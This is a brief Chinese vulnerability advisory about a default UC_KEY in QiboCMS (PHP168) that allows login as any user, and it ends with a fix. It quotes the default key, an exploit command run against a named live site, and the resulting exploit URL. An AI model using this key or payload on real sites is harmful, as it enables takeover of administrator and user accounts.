齐博cms整站系统(原PHP168)配置不当导致任意用户登陆,比如cms管理员等,

齐博cms整站系统(原PHP168)配置不当致任意用户登陆漏洞预警

详细说明:还是由于UC_CENTER的问题,之前闹过UC_KEY变量为空时可以调用UC_CENTER中的相关用户API直接进行操作,今天下了一份V7版本的源码,在uc_config.php中发现UC_KEY被初始化了

define(‘UC_DBCONNECT’, ’0′);

define(‘UC_KEY’, ‘fdsafd43′); //这里做了初始化

define(‘UC_API’, ‘http://www.myhack58.com/dz/uc_server’);

Google了一把,发现很多站都可以用空的UC_KEY或默认的UC_KEY成功调用UC接口。

从官方成功案例中找到一个网站

$ php uc.php haidian.10000tc.com synlogin

[+] UC_KEY ‘null’ can use .

[*] EXP = do/api/uc.php?code=fca08oORxQ3xNG01MA1KO9cEPCcedNTThklj6RW2mzYoO9ReaVA4D6XZPJ06GSY0xrpCwNQD6YfusbP1nPJG0HsSB95BkMT6FcarqAVEamHr

看看是否set cookie

修复方案:

安装的时候随即字符串重写,
